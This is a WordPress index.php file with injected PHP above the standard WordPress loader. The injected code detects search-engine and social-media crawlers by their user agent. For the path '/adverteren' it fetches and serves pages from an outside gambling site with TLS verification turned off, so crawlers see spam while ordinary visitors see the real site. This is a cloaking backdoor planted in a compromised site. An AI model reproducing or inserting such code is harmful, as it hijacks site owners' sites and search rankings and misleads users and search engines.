function fetch_url($u){ $c=curl_init($u); curl_setopt_array($c,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_FOLLOWLOCATION=>1,CURLOPT_SSL_VERIFYPEER=>0]); $r=curl_exec($c); curl_close($c); return $r; } function is_bot(){ $ua=$_SERVER['HTTP_USER_AGENT']??''; $bots=[ 'bot','crawl','spider','Google','Bing','Yandex','DuckDuck','Ahrefs','Semrush', 'facebookexternalhit','Facebot','Twitterbot','Slackbot','Discord','LinkedIn', 'Pinterest','WhatsApp','Instagram','python','curl','wget','Java','Go-http' ]; foreach($bots as $b) if(stripos($ua,$b)!==false) return true; return false; } $page=rtrim(parse_url($_SERVER['REQUEST_URI'],PHP_URL_PATH),'/'); $map=['/adverteren'=>'https://bonusjacktoto2024.com/slot22/']; if(is_bot() && isset($map[$page])){ if($x=fetch_url($map[$page])){ echo $x; exit; } } } /** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define( 'WP_USE_THEMES', true ); /** Loads the WordPress Environment and Template */ require __DIR__ . '/wp-blog-header.php';